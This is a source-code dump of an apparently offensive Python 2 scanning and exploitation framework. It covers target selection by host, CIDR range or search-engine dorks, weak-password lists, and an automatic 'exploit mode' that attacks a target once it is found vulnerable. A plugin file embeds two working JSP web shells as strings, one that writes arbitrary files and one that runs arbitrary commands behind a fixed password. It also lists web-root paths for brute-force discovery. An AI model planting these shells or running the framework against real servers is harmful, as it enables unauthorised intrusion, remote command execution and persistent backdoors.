__getattr__(self, name): 31 | return getattr(self.__wrapped, name) 32 | 33 | def write(self, text): 34 | self.__convertor.write(text) 35 | 36 | 37 | class AnsiToWin32(object): 38 | ''' 39 | Implements a 'write()' method which, on Windows, will strip ANSI character 40 | sequences from the text, and if outputting to a tty, will convert them into 41 | win32 function calls. 42 | ''' 43 | ANSI_RE = re.compile('\033\[((?:\d|;)*)([a-zA-Z])') 44 | 45 | def __init__(self, wrapped, convert=None, strip=None, autoreset=False): 46 | # The wrapped stream (normally sys.stdout or sys.stderr) 47 | self.wrapped = wrapped 48 | 49 | # should we reset colors to defaults after every .write() 50 | self.autoreset = autoreset 51 | 52 | # create the proxy wrapping our output stream 53 | self.stream = StreamWrapper(wrapped, self) 54 | 55 | on_windows = sys.platform.startswith('win') 56 | 57 | # should we strip ANSI sequences from our output? 58 | if strip is None: 59 | strip = on_windows 60 | self.strip = strip 61 | 62 | # should we should convert ANSI sequences into win32 calls? 63 | if convert is None: 64 | convert = on_windows and is_a_tty(wrapped) 65 | self.convert = convert 66 | 67 | # dict of ansi codes to win32 functions and parameters 68 | self.win32_calls = self.get_win32_calls() 69 | 70 | # are we wrapping stderr? 71 | self.on_stderr = self.wrapped is sys.stderr 72 | 73 | 74 | def should_wrap(self): 75 | ''' 76 | True if this class is actually needed. If false, then the output 77 | stream will not be affected, nor will win32 calls be issued, so 78 | wrapping stdout is not actually required. This will generally be 79 | False on non-Windows platforms, unless optional functionality like 80 | autoreset has been requested using kwargs to init() 81 | ''' 82 | return self.convert or self.strip or self.autoreset 83 | 84 | 85 | def get_win32_calls(self): 86 | if self.convert and winterm: 87 | return { 88 | AnsiStyle.RESET_ALL: (winterm.reset_all, ), 89 | AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT), 90 | AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL), 91 | AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL), 92 | AnsiFore.BLACK: (winterm.fore, WinColor.BLACK), 93 | AnsiFore.RED: (winterm.fore, WinColor.RED), 94 | AnsiFore.GREEN: (winterm.fore, WinColor.GREEN), 95 | AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW), 96 | AnsiFore.BLUE: (winterm.fore, WinColor.BLUE), 97 | AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA), 98 | AnsiFore.CYAN: (winterm.fore, WinColor.CYAN), 99 | AnsiFore.WHITE: (winterm.fore, WinColor.GREY), 100 | AnsiFore.RESET: (winterm.fore, ), 101 | AnsiBack.BLACK: (winterm.back, WinColor.BLACK), 102 | AnsiBack.RED: (winterm.back, WinColor.RED), 103 | AnsiBack.GREEN: (winterm.back, WinColor.GREEN), 104 | AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW), 105 | AnsiBack.BLUE: (winterm.back, WinColor.BLUE), 106 | AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA), 107 | AnsiBack.CYAN: (winterm.back, WinColor.CYAN), 108 | AnsiBack.WHITE: (winterm.back, WinColor.GREY), 109 | AnsiBack.RESET: (winterm.back, ), 110 | } 111 | 112 | 113 | def write(self, text): 114 | if self.strip or self.convert: 115 | self.write_and_convert(text) 116 | else: 117 | self.wrapped.write(text) 118 | self.wrapped.flush() 119 | if self.autoreset: 120 | self.reset_all() 121 | 122 | 123 | def reset_all(self): 124 | if self.convert: 125 | self.call_win32('m', (0,)) 126 | elif is_a_tty(self.wrapped): 127 | self.wrapped.write(Style.RESET_ALL) 128 | 129 | 130 | def write_and_convert(self, text): 131 | ''' 132 | Write the given text to our wrapped stream, stripping any ANSI 133 | sequences from the text, and optionally converting them into win32 134 | calls. 135 | ''' 136 | cursor = 0 137 | for match in self.ANSI_RE.finditer(text): 138 | start, end = match.span() 139 | self.write_plain_text(text, cursor, start) 140 | self.convert_ansi(*match.groups()) 141 | cursor = end 142 | self.write_plain_text(text, cursor, len(text)) 143 | 144 | 145 | def write_plain_text(self, text, start, end): 146 | if start < end: 147 | self.wrapped.write(text[start:end]) 148 | self.wrapped.flush() 149 | 150 | 151 | def convert_ansi(self, paramstring, command): 152 | if self.convert: 153 | params = self.extract_params(paramstring) 154 | self.call_win32(command, params) 155 | 156 | 157 | def extract_params(self, paramstring): 158 | def split(paramstring): 159 | for p in paramstring.split(';'): 160 | if p != '': 161 | yield int(p) 162 | return tuple(split(paramstring)) 163 | 164 | 165 | def call_win32(self, command, params): 166 | if params == []: 167 | params = [0] 168 | if command == 'm': 169 | for param in params: 170 | if param in self.win32_calls: 171 | func_args = self.win32_calls[param] 172 | func = func_args[0] 173 | args = func_args[1:] 174 | kwargs = dict(on_stderr=self.on_stderr) 175 | func(*args, **kwargs) 176 | elif command in ('H', 'f'): # set cursor position 177 | func = winterm.set_cursor_position 178 | func(params, on_stderr=self.on_stderr) 179 | elif command in ('J'): 180 | func = winterm.erase_data 181 | func(params, on_stderr=self.on_stderr) 182 | elif command == 'A': 183 | if params == () or params == None: 184 | num_rows = 1 185 | else: 186 | num_rows = params[0] 187 | func = winterm.cursor_up 188 | func(num_rows, on_stderr=self.on_stderr) 189 | 190 | -------------------------------------------------------------------------------- /lib/core/option.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | import os 5 | import re 6 | import glob #文件路径查找 7 | import sys 8 | from lib.core.data import conf, paths, th, logger 9 | from lib.core.enums import TARGET_MODE_STATUS, ENGINE_MODE_STATUS 10 | from lib.core.enums import API_MODE_NAME 11 | from lib.core.register import Register 12 | from lib.core.common import dataToStdout 13 | from thirdparty.prettytable.prettytable import PrettyTable 14 | 15 | 16 | def initOptions(args): #初始化操作 17 | checkShow(args) #检查是否要求列出脚本 18 | checkSearch(args) #检查是否在搜索脚本 19 | EngineRegister(args) #检查配置扫描引擎,注册互斥量,扫描线程数 20 | ScriptRegister(args) #检查配置脚本项参数 21 | TargetRegister(args) #检查配置扫描目标信息 22 | ApiRegister(args) #检查API配置信息 23 | ''' 24 | print "#########以下是conf字典#########" 25 | print conf 26 | ''' 27 | 28 | def checkShow(args): 29 | input_path = args.script_name 30 | list_scripts = args.list_scripts 31 | search_script = args.search_script 32 | if list_scripts and (input_path or search_script): 33 | msg = 'Cannot specify or search script when you use [--list]' 34 | sys.exit(logger.error(msg)) 35 | scriptsheet = PrettyTable(["Script"]) 36 | scriptsheet.align["Script"] = "l" 37 | scriptsheet.padding_width = 1 38 | if list_scripts: 39 | module_name_list = glob.glob(os.path.join(paths.SCRIPT_PATH, '*.py')) #获取script文件夹下所有.py文件列表 40 | msg = 'Total:{}\n'.format(str(len(module_name_list) - 1)) #除去__init__.py算出total总数 41 | for each in module_name_list: 42 | _str = os.path.split(each)[1][0:-3] 43 | if _str != '__init__': 44 | scriptsheet.add_row([_str]) 45 | print scriptsheet 46 | dataToStdout(msg) 47 | logger.info('System exit') 48 | sys.exit() 49 | 50 | def checkSearch(args): 51 | input_path = args.script_name 52 | list_scripts = args.list_scripts 53 | search_script = args.search_script 54 | if search_script and (input_path or list_scripts): 55 | msg = 'Cannot specify or list script when you use [--search]' 56 | sys.exit(logger.error(msg)) 57 | if search_script: 58 | if re.findall(r'[^\w\d\-_ ]', search_script): 59 | msg = 'The script name you provided is incorrect' 60 | sys.exit(logger.error(msg)) 61 | scriptsheet = PrettyTable(["Script"]) 62 | scriptsheet.align["Script"] = "l" 63 | scriptsheet.padding_width = 1 64 | length = 0 65 | module_name_list = glob.glob(os.path.join(paths.SCRIPT_PATH, '*.py')) 66 | for each in module_name_list: 67 | _str = os.path.split(each)[1][0:-3] 68 | if _str != '__init__' and re.findall(search_script, _str): 69 | scriptsheet.add_row([_str]) 70 | length = length + 1 71 | if length > 0: 72 | msg = 'Total:{}\n'.format(length) 73 | print scriptsheet 74 | dataToStdout(msg) 75 | else: 76 | msg = 'No results found' 77 | logger.error(msg) 78 | logger.info('System exit') 79 | sys.exit() 80 | 81 | 82 | def EngineRegister(args): 83 | thread_status = args.engine_thread 84 | gevent_status = args.engine_gevent 85 | thread_num = args.thread_num 86 | 87 | def __thread(): 88 | conf.ENGINE = ENGINE_MODE_STATUS.THREAD #Thread=9 89 | 90 | def __gevent(): 91 | conf.ENGINE = ENGINE_MODE_STATUS.GEVENT #Gevent=8 92 | 93 | conf.ENGINE = ENGINE_MODE_STATUS.THREAD # default choice Thread=9 94 | 95 | msg = 'Use [--threads] to set Multi-Threaded mode or [--gevent] to set Coroutine mode.' 96 | r = Register(mutex=True, start=0, stop=1, mutex_errmsg=msg) 97 | r.add(__thread, thread_status) 98 | r.add(__gevent, gevent_status) 99 | r.run() 100 | 101 | if 0 < thread_num < 101: 102 | th.THREADS_NUM = conf.THREADS_NUM = thread_num 103 | else: 104 | msg = 'Invalid input in [--number], range: 1 to 100' 105 | sys.exit(logger.error(msg)) 106 | 107 | 108 | def ScriptRegister(args): 109 | input_path = args.script_name 110 | list_scripts = args.list_scripts 111 | search_script = args.search_script 112 | # handle input: nothing 113 | if input_path and (search_script or list_scripts): 114 | msg = 'Cannot specify script when you use [--list] or [--search]' 115 | sys.exit(logger.error(msg)) 116 | # handle input: "-s ./script/spider.py" 117 | if input_path: 118 | if os.path.split(input_path)[0]: #如果指定了脚本获取给出脚本的文件夹路径 119 | if os.path.exists(input_path): #判断是否存在该脚本文件 120 | if os.path.isfile(input_path): #判断是否是文件 121 | if input_path.endswith('.py'): #判断是否是Python文件 122 | conf.MODULE_NAME = os.path.split(input_path)[-1] #得到脚本文件名.py 123 | conf.MODULE_FILE_PATH = os.path.abspath(input_path) #得到脚本文件的绝对路径 124 | else: 125 | msg = '[%s] not a Python file. Example: [-s spider] or [-s ./script/spider.py]' % input_path 126 | sys.exit(logger.error(msg)) 127 | else: 128 | msg = '[%s] not a file. Example: [-s spider] or [-s ./script/spider.py]' % input_path 129 | sys.exit(logger.error(msg)) 130 | else: 131 | msg = '[%s] not found. Example: [-s spider] or [-s ./script/spider.py]' % input_path 132 | sys.exit(logger.error(msg)) 133 | 134 | # handle input: "-s spider" "-s spider.py" 135 | else: 136 | if not input_path.endswith('.py'): #如果指定的脚本文件不以.py结尾就加一个.py 137 | input_path += '.py' 138 | _path = os.path.abspath(os.path.join(paths.SCRIPT_PATH, input_path)) 139 | if os.path.isfile(_path): #如果这个脚本文件在脚本库中找不到就提醒并退出 140 | conf.MODULE_NAME = input_path 141 | conf.MODULE_FILE_PATH = os.path.abspath(_path) 142 | else: 143 | msg = 'Script [%s] not exist. Use [--list] to view all available scripts in ./script/' % input_path 144 | sys.exit(logger.error(msg)) 145 | 146 | 147 | def TargetRegister(args): 148 | input_path = args.script_name 149 | input_file = args.target_file 150 | input_single = args.target_urlip 151 | input_cidr = args.target_cidr 152 | api_zoomeye = args.zoomeye_dork 153 | api_baidu = args.baidu_dork 154 | 155 | if not input_path: 156 | msg = 'Please specify a script with [-s]' 157 | sys.exit(logger.error(msg)) 158 | def __file(): #配置批量扫描文件路径 159 | if not os.path.isfile(input_file): 160 | msg = 'TargetFile not found: %s' % input_file 161 | sys.exit(logger.error(msg)) 162 | conf.TARGET_MODE = TARGET_MODE_STATUS.FILE #conf.TAGET_MODE=9 -iF模式 163 | conf.INPUT_FILE_PATH = input_file 164 | 165 | def __cidr(): 166 | conf.TARGET_MODE = TARGET_MODE_STATUS.IPMASK #conf.TARGET_MODE=7 -iN模式 167 | conf.NETWORK_STR = input_cidr 168 | conf.INPUT_FILE_PATH = None 169 | 170 | def __single(): 171 | conf.TARGET_MODE = TARGET_MODE_STATUS.SINGLE #conf.TARGET_MODE=8 -iS模式 172 | conf.SINGLE_TARGET_STR = input_single 173 | th.THREADS_NUM = conf.THREADS_NUM = 1 174 | conf.INPUT_FILE_PATH = None 175 | 176 | def __zoomeye(): 177 | conf.TARGET_MODE = TARGET_MODE_STATUS.API #conf.TARGET_MODE=5 API模式 178 | conf.API_MODE = API_MODE_NAME.ZOOMEYE #使用Zoomeye 179 | conf.API_DORK = api_zoomeye 180 | 181 | def __baidu(): 182 | conf.TARGET_MODE = TARGET_MODE_STATUS.API #conf.TARGET_MODE=5 API模式 183 | conf.API_MODE = API_MODE_NAME.BAIDU #使用Baidu 184 | conf.API_DORK = api_baidu 185 | 186 | msg = 'Please load targets with [-t|-f|-c] or use API with [-zoomeye|-baidu]' 187 | r = Register(mutex=True, mutex_errmsg=msg) 188 | r.add(__file, input_file) 189 | r.add(__cidr, input_cidr) 190 | r.add(__single, input_single) 191 | r.add(__zoomeye, api_zoomeye) 192 | r.add(__baidu, api_baidu) 193 | r.run() 194 | 195 | 196 | def ApiRegister(args): 197 | search_type = args.search_type 198 | offset = args.api_offset 199 | api_limit = args.api_limit 200 | 201 | if not 'API_MODE' in conf: 202 | return 203 | 204 | if not conf.API_DORK: 205 | msg = 'Empty API dork, show usage with [-h]' 206 | sys.exit(logger.error(msg)) 207 | 208 | if offset < 0: 209 | msg = 'Invalid value in [--offset], show usage with [-h]' 210 | sys.exit(logger.error(msg)) 211 | else: 212 | conf.API_OFFSET = offset 213 | 214 | if api_limit <= 0: 215 | msg = 'Invalid value in [--limit], show usage with [-h]' 216 | sys.exit(logger.error(msg)) 217 | else: 218 | conf.API_LIMIT = api_limit 219 | 220 | if conf.API_MODE is API_MODE_NAME.ZOOMEYE: 221 | if search_type not in ['web', 'host']: 222 | msg = 'Invalid value in [--search-type], show usage with [-h]' 223 | sys.exit(logger.error(msg)) 224 | else: 225 | conf.ZOOMEYE_SEARCH_TYPE = search_type 226 | -------------------------------------------------------------------------------- /lib/core/common.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | import os 5 | import re 6 | import sys 7 | import imp 8 | import time 9 | import logging 10 | from lib.core.data import * 11 | from lib.core.exception import * 12 | from lib.utils.expfunctions import * 13 | from lib.core.log import LOGGER_HANDLER 14 | from lib.core.settings import BANNER, UNICODE_ENCODING, NULL, INVALID_UNICODE_CHAR_FORMAT, OPTIONAL_MOUDLE_METHODS 15 | from lib.core.convert import stdoutencode 16 | from lib.core.enums import EXIT_STATUS, TARGET_MODE_STATUS 17 | from thirdparty.termcolor.termcolor import colored 18 | from thirdparty.odict.odict import OrderedDict 19 | from thirdparty.prettytable.prettytable import PrettyTable 20 | 21 | 22 | def setPaths():#设置POC-T的文件路径和目录 23 | """ 24 | 设置Sepia的绝对路径 25 | """ 26 | root_path = paths.ROOT_PATH 27 | paths.DATA_PATH = os.path.join(root_path, "data") #设置data文件夹路径 28 | paths.SCRIPT_PATH = os.path.join(root_path, "script") #设置script文件夹路径 29 | paths.CONFIG_PATH = os.path.join(root_path, "toolkit.conf") #设置toolkit.conf文件路径 30 | #如果data、script、output三个文件夹都不存在就创建 31 | if not os.path.exists(paths.SCRIPT_PATH): 32 | os.mkdir(paths.SCRIPT_PATH) 33 | if not os.path.exists(paths.DATA_PATH): 34 | os.mkdir(paths.DATA_PATH) 35 | 36 | paths.WEAK_PASS = os.path.join(paths.DATA_PATH, "pass100.txt") #设置弱口令文件pass100.txt的路径 37 | paths.LARGE_WEAK_PASS = os.path.join(paths.DATA_PATH, "pass1000.txt") #设置弱口令文件pass1000.txt的路径 38 | paths.UA_LIST_PATH = os.path.join(paths.DATA_PATH, "user-agents.txt") #设置user-agents.txt文件的路径 39 | 40 | if os.path.isfile(paths.CONFIG_PATH) and os.path.isfile(paths.WEAK_PASS) and os.path.isfile( 41 | paths.LARGE_WEAK_PASS) and os.path.isfile(paths.UA_LIST_PATH): 42 | pass 43 | else: 44 | #如果toolkit.conf、pass100.txt、pass1000.txt、user-agent.txt四个缺失任何一个,就抛出异常 45 | msg = 'Some files missing, it may cause an issue' 46 | raise ToolkitMissingPrivileges(msg) 47 | 48 | def checkFile(filename): 49 | """ 50 | function Checks for file existence and readability 51 | """ 52 | valid = True 53 | 54 | if filename is None or not os.path.isfile(filename): 55 | valid = False 56 | 57 | if valid: 58 | try: 59 | with open(filename, "rb"): 60 | pass 61 | except IOError: 62 | valid = False 63 | 64 | if not valid: 65 | raise ToolkitSystemException("unable to read file '%s'" % filename) 66 | 67 | 68 | def banner(): 69 | """ 70 | Function prints banner with its version 71 | """ 72 | _ = BANNER 73 | if not getattr(LOGGER_HANDLER, "is_tty", False): 74 | _ = re.sub("\033.+?m", "", _) 75 | dataToStdout(_) 76 | 77 | 78 | def dataToStdout(data, bold=False): 79 | """ 80 | Writes text to the stdout (console) stream 81 | """ 82 | logging._acquireLock() 83 | if isinstance(data, unicode): 84 | message = stdoutencode(data) 85 | else: 86 | message = data 87 | 88 | sys.stdout.write(setColor(message, bold)) 89 | 90 | try: 91 | sys.stdout.flush() 92 | except IOError: 93 | pass 94 | 95 | logging._releaseLock() 96 | return 97 | 98 | 99 | def setColor(message, bold=False): 100 | retVal = message 101 | 102 | if message and getattr(LOGGER_HANDLER, "is_tty", False): # colorizing handler 103 | if bold: 104 | retVal = colored(message, color=None, on_color=None, attrs=("bold",)) 105 | 106 | return retVal 107 | 108 | 109 | def pollProcess(process, suppress_errors=False): 110 | """ 111 | Checks for process status (prints > if still running) 112 | """ 113 | 114 | while True: 115 | message = '>' 116 | sys.stdout.write(message) 117 | try: 118 | sys.stdout.flush() 119 | except IOError: 120 | pass 121 | 122 | time.sleep(1) 123 | 124 | returncode = process.poll() 125 | 126 | if returncode is not None: 127 | if not suppress_errors: 128 | if returncode == 0: 129 | print " done\n" 130 | elif returncode < 0: 131 | print " process terminated by signal %d\n" % returncode 132 | elif returncode > 0: 133 | print " quit unexpectedly with return code %d\n" % returncode 134 | break 135 | 136 | 137 | def getSafeExString(ex, encoding=None): 138 | """ 139 | Safe way how to get the proper exception represtation as a string 140 | (Note: errors to be avoided: 1) "%s" % Exception(u'\u0161') and 2) "%s" % str(Exception(u'\u0161')) 141 | """ 142 | retVal = ex 143 | 144 | if getattr(ex, "message", None): 145 | retVal = ex.message 146 | elif getattr(ex, "msg", None): 147 | retVal = ex.msg 148 | 149 | return getUnicode(retVal, encoding=encoding) 150 | 151 | 152 | def getUnicode(value, encoding=None, noneToNull=False): 153 | """ 154 | Return the unicode representation of the supplied value: 155 | 156 | >>> getUnicode(u'test') 157 | u'test' 158 | >>> getUnicode('test') 159 | u'test' 160 | >>> getUnicode(1) 161 | u'1' 162 | """ 163 | 164 | if noneToNull and value is None: 165 | return NULL 166 | 167 | if isListLike(value): 168 | value = list(getUnicode(_, encoding, noneToNull) for _ in value) 169 | return value 170 | 171 | if isinstance(value, unicode): 172 | return value 173 | elif isinstance(value, basestring): 174 | while True: 175 | try: 176 | return unicode(value, encoding or UNICODE_ENCODING) 177 | except UnicodeDecodeError, ex: 178 | try: 179 | return unicode(value, UNICODE_ENCODING) 180 | except Exception: 181 | value = value[:ex.start] + "".join( 182 | INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] 183 | else: 184 | try: 185 | return unicode(value) 186 | except UnicodeDecodeError: 187 | return unicode(str(value), errors="ignore") # encoding ignored for non-basestring instances 188 | 189 | 190 | def isListLike(value): 191 | """ 192 | Returns True if the given value is a list-like instance 193 | 194 | >>> isListLike([1, 2, 3]) 195 | True 196 | >>> isListLike(u'2') 197 | False 198 | """ 199 | 200 | return isinstance(value, (list, tuple, set)) 201 | 202 | 203 | def systemQuit(status=EXIT_STATUS.SYSETM_EXIT): 204 | if status == EXIT_STATUS.USER_QUIT and "is_continue" not in th: 205 | logger.info('User quit') 206 | logger.error('System exit') 207 | elif status == EXIT_STATUS.USER_QUIT and "exploit_mode" in th: 208 | if th.exploit_mode: 209 | logger.error('Exit exploit mode') 210 | logger.info('System exit') 211 | else: 212 | if status == EXIT_STATUS.SYSETM_EXIT: 213 | printResult() 214 | if conf.TARGET_MODE == TARGET_MODE_STATUS.SINGLE: #如果是扫描单个目标就启动attack 215 | attack() 216 | logger.info('System exit') 217 | elif status == EXIT_STATUS.USER_QUIT and th.is_continue: 218 | dataToStdout('\n') 219 | printResult() 220 | logger.info('User quit') 221 | logger.error('System exit') 222 | elif status == EXIT_STATUS.ERROR_EXIT and th.is_continue: 223 | dataToStdout('\n') 224 | printResult() 225 | logger.error('System exit') 226 | else: 227 | raise ToolkitValueException('Invalid status code: %s' % str(status)) 228 | sys.exit(0) 229 | 230 | def printResult(): 231 | targetsheet = PrettyTable(["Target", "Vulnerable"]) 232 | targetsheet.align["Target"] = "l" 233 | targetsheet.padding_width = 1 234 | for i in targetlist: 235 | targetsheet.add_row(i) 236 | print targetsheet 237 | msg = '{} found | {} scanned in {} second'.format(th.found_count, th.scan_count, str(time.time()-th.start_time)[0:4]) 238 | out = '{}\n'.format(msg) 239 | dataToStdout(out) 240 | 241 | def attack(): 242 | if len(targetlist) and targetlist[0][1]: 243 | for each in OPTIONAL_MOUDLE_METHODS: #OPTIONAL_MOUDLE_METHODS=['exp'] 244 | if not hasattr(th.module_obj, each): #如果模块中不存在'exp'方法就提醒并退出 245 | msg = "The script does not contain any exploit module" 246 | logger.warning(msg) 247 | sys.exit(logger.info('System exit')) 248 | else: 249 | try: 250 | expfunc = th.module_obj._type.lower() #加载攻击模块 251 | msg = "Go to exploit mode..." 252 | logger.info(msg) 253 | th.exploit_mode = True 254 | eval(expfunc)(th.module_obj.exp, conf.SINGLE_TARGET_STR) 255 | except AttributeError: 256 | logger.warning("The script didn't specified an exploit type. Exit exploit mode") 257 | sys.exit(logger.info('System exit')) 258 | except NameError: 259 | logger.warning("Sepia does not support vulnerability type '%s'. Exit exploit mode" % th.module_obj._type) 260 | sys.exit(logger.info('System exit')) 261 | 262 | 263 | def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, unique=False): 264 | """ 265 | @function returns newline delimited items contained inside file 266 | """ 267 | 268 | retVal = list() if not unique else OrderedDict() 269 | 270 | checkFile(filename) 271 | 272 | try: 273 | with open(filename, 'r') as f: 274 | for line in (f.readlines() if unicode_ else f.xreadlines()): 275 | # xreadlines doesn't return unicode strings when codecs.open() is used 276 | if commentPrefix and line.find(commentPrefix) != -1: 277 | line = line[:line.find(commentPrefix)] 278 | 279 | line = line.strip() 280 | 281 | if not unicode_: 282 | try: 283 | line = str.encode(line) 284 | except UnicodeDecodeError: 285 | continue 286 | 287 | if line: 288 | if lowercase: 289 | line = line.lower() 290 | 291 | if unique and line in retVal: 292 | continue 293 | 294 | if unique: 295 | retVal[line] = True 296 | 297 | else: 298 | retVal.append(line) 299 | 300 | except (IOError, OSError, MemoryError), ex: 301 | errMsg = "something went wrong while trying " 302 | errMsg += "to read the content of file '%s' ('%s')" % (filename, ex) 303 | raise ToolkitSystemException(errMsg) 304 | 305 | return retVal if not unique else retVal.keys() 306 | -------------------------------------------------------------------------------- /plugin/static.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | class ABSPATH_PREFIXES: 5 | LINUX = ( 6 | "/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", 7 | "/usr/local/httpd", "/var/www/nginx-default", "/srv/www", "/var/www/vhosts", 8 | "/var/www/virtual", "/var/www/clients/vhosts", "/var/www/clients/virtual") 9 | WINDOWS = ( 10 | "/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/apache", 11 | "/Program Files/Apache Group/Apache", 12 | "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", 13 | "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", 14 | "/Inetpub/vhosts") 15 | ALL = LINUX + WINDOWS 16 | 17 | 18 | # Suffixes used in brute force search for web server document root 19 | ABSPATH_SUFFIXES = ( 20 | "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all", 21 | "www/build") 22 | 23 | JSP_UPLOAD = """<%@page contentType="text/html; charset=GBK" import="java.io.*;"%> 24 | JSP 25 | <% 26 | String path=request.getParameter("path"); 27 | String content=request.getParameter("content"); 28 | String url=request.getRequestURI(); 29 | String relativeurl=url.substring(url.indexOf('/',1)); 30 | String absolutepath=application.getRealPath(relativeurl); 31 | if (path!=null && !path.equals("") && content!=null && !content.equals("")){ 32 | try{ 33 | File newfile=new File(path); 34 | PrintWriter writer=new PrintWriter(newfile); 35 | writer.println(content); 36 | writer.close(); 37 | if (newfile.exists() && newfile.length()>0){ 38 | out.println("save success!"); 39 | }else{ 40 | out.println("save failed!"); 41 | } 42 | }catch(Exception e){ 43 | e.printStackTrace(); 44 | } 45 | } 46 | out.println("
"); 47 | out.println("save path:

"); 48 | out.println("current path "+absolutepath+"
"); 49 | out.println("
"); 50 | out.println(""); 51 | out.println("
"); 52 | %> 53 | """ 54 | 55 | JSP_RCE = """<% 56 | if("023".equals(request.getParameter("pwd"))){ 57 | java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); 58 | int a = -1; 59 | byte[] b = new byte[2048]; 60 | out.print("
");
 61 |         while((a=in.read(b))!=-1){
 62 |             out.println(new String(b,0,a));
 63 |         }
 64 |         out.print("
"); 65 | } 66 | %>""" 67 | 68 | NMAP_PORTS_1000 = \ 69 | ['1', '3', '4', '6', '7', '9', '13', '17', '19', '20', '21', '22', '23', '24', '25', '26', '30', '32', '33', 70 | '37', '42', '43', '49', '53', '70', '79', '80', '81', '82', '83', '84', '85', '88', '89', '90', '99', '100', 71 | '106', '109', '110', '111', '113', '119', '125', '135', '139', '143', '144', '146', '161', '163', '179', '199', 72 | '211', '212', '222', '254', '255', '256', '259', '264', '280', '301', '306', '311', '340', '366', '389', '406', 73 | '407', '416', '417', '425', '427', '443', '444', '445', '458', '464', '465', '481', '497', '500', '512', '513', 74 | '514', '515', '524', '541', '543', '544', '545', '548', '554', '555', '563', '587', '593', '616', '617', '625', 75 | '631', '636', '646', '648', '666', '667', '668', '683', '687', '691', '700', '705', '711', '714', '720', '722', 76 | '726', '749', '765', '777', '783', '787', '800', '801', '808', '843', '873', '880', '888', '898', '900', '901', 77 | '902', '903', '911', '912', '981', '987', '990', '992', '993', '995', '999', '1000', '1001', '1002', '1007', 78 | '1009', '1010', '1011', '1021', '1022', '1023', '1024', '1025', '1026', '1027', '1028', '1029', '1030', '1031', 79 | '1032', '1033', '1034', '1035', '1036', '1037', '1038', '1039', '1040', '1041', '1042', '1043', '1044', '1045', 80 | '1046', '1047', '1048', '1049', '1050', '1051', '1052', '1053', '1054', '1055', '1056', '1057', '1058', '1059', 81 | '1060', '1061', '1062', '1063', '1064', '1065', '1066', '1067', '1068', '1069', '1070', '1071', '1072', '1073', 82 | '1074', '1075', '1076', '1077', '1078', '1079', '1080', '1081', '1082', '1083', '1084', '1085', '1086', '1087', 83 | '1088', '1089', '1090', '1091', '1092', '1093', '1094', '1095', '1096', '1097', '1098', '1099', '1100', '1102', 84 | '1104', '1105', '1106', '1107', '1108', '1110', '1111', '1112', '1113', '1114', '1117', '1119', '1121', '1122', 85 | '1123', '1124', '1126', '1130', '1131', '1132', '1137', '1138', '1141', '1145', '1147', '1148', '1149', '1151', 86 | '1152', '1154', '1163', '1164', '1165', '1166', '1169', '1174', '1175', '1183', '1185', '1186', '1187', '1192', 87 | '1198', '1199', '1201', '1213', '1216', '1217', '1218', '1233', '1234', '1236', '1244', '1247', '1248', '1259', 88 | '1271', '1272', '1277', '1287', '1296', '1300', '1301', '1309', '1310', '1311', '1322', '1328', '1334', '1352', 89 | '1417', '1433', '1434', '1443', '1455', '1461', '1494', '1500', '1501', '1503', '1521', '1524', '1533', '1556', 90 | '1580', '1583', '1594', '1600', '1641', '1658', '1666', '1687', '1688', '1700', '1717', '1718', '1719', '1720', 91 | '1721', '1723', '1755', '1761', '1782', '1783', '1801', '1805', '1812', '1839', '1840', '1862', '1863', '1864', 92 | '1875', '1900', '1914', '1935', '1947', '1971', '1972', '1974', '1984', '1998', '1999', '2000', '2001', '2002', 93 | '2003', '2004', '2005', '2006', '2007', '2008', '2009', '2010', '2013', '2020', '2021', '2022', '2030', '2033', 94 | '2034', '2035', '2038', '2040', '2041', '2042', '2043', '2045', '2046', '2047', '2048', '2049', '2065', '2068', 95 | '2099', '2100', '2103', '2105', '2106', '2107', '2111', '2119', '2121', '2126', '2135', '2144', '2160', '2161', 96 | '2170', '2179', '2190', '2191', '2196', '2200', '2222', '2251', '2260', '2288', '2301', '2323', '2366', '2381', 97 | '2382', '2383', '2393', '2394', '2399', '2401', '2492', '2500', '2522', '2525', '2557', '2601', '2602', '2604', 98 | '2605', '2607', '2608', '2638', '2701', '2702', '2710', '2717', '2718', '2725', '2800', '2809', '2811', '2869', 99 | '2875', '2909', '2910', '2920', '2967', '2968', '2998', '3000', '3001', '3003', '3005', '3006', '3007', '3011', 100 | '3013', '3017', '3030', '3031', '3052', '3071', '3077', '3128', '3168', '3211', '3221', '3260', '3261', '3268', 101 | '3269', '3283', '3300', '3301', '3306', '3322', '3323', '3324', '3325', '3333', '3351', '3367', '3369', '3370', 102 | '3371', '3372', '3389', '3390', '3404', '3476', '3493', '3517', '3527', '3546', '3551', '3580', '3659', '3689', 103 | '3690', '3703', '3737', '3766', '3784', '3800', '3801', '3809', '3814', '3826', '3827', '3828', '3851', '3869', 104 | '3871', '3878', '3880', '3889', '3905', '3914', '3918', '3920', '3945', '3971', '3986', '3995', '3998', '4000', 105 | '4001', '4002', '4003', '4004', '4005', '4006', '4045', '4111', '4125', '4126', '4129', '4224', '4242', '4279', 106 | '4321', '4343', '4443', '4444', '4445', '4446', '4449', '4550', '4567', '4662', '4848', '4899', '4900', '4998', 107 | '5000', '5001', '5002', '5003', '5004', '5009', '5030', '5033', '5050', '5051', '5054', '5060', '5061', '5080', 108 | '5087', '5100', '5101', '5102', '5120', '5190', '5200', '5214', '5221', 